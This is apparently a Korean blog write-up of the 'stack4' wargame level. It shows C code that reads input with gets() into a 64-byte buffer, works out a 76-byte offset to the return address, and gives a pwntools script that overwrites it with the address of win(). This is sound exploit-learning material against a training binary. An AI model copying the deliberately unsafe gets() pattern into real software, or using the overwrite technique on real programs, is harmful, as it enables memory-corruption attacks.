KSJ._.seven11 2023. 2. 13. 13:29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

버퍼를 64 바이트로 받아온다.

 

문제는 gets 함수를 통해 받아오기에 취약점이 발견된다.

 

이를 통해 RTL 방식의 공격기법으로 ret 값을 win 함수주소로 변경하여 해당 문자열을 출력하게 만들면 될 것이다.

 

먼저 Buffer 와 Ret 간의 거리를 계산하기 위해 Pattern을 생성하고 Ret에 중단점을 걸어 거리를 구할 수 있을 것이다.

 

Main + 22 에 중단점을 걸어 ret 함수에서 진입하기전 까지 길이를 구할 수 있을 것이다.

 

 

 

 

거리가 76 인걸 확인할 수 있다.

 

그렇게 'A' * 76 으로 버퍼오보플로우를 일으키고 ret 주소를 win 함수로 변경하면 성공 문자열이 출력될 것이다.

 

Win 함수의 시작주소 0x080483f4 이다.

 

 

pwntools을 활용하여 exploit 코드를 짜보니 다음과 같다.

 

from pwn import *


p = process('./stack4')

payload = b'A'*76

payload += p32(0x080483f4)
p.sendline(payload)

data = p.recvline(1024)

print(data)

 

그렇게 exploit 코드를 작성후 실행하면 !

 

 

 

야호! 성공이다ㅏㅏㅏㅏ!!!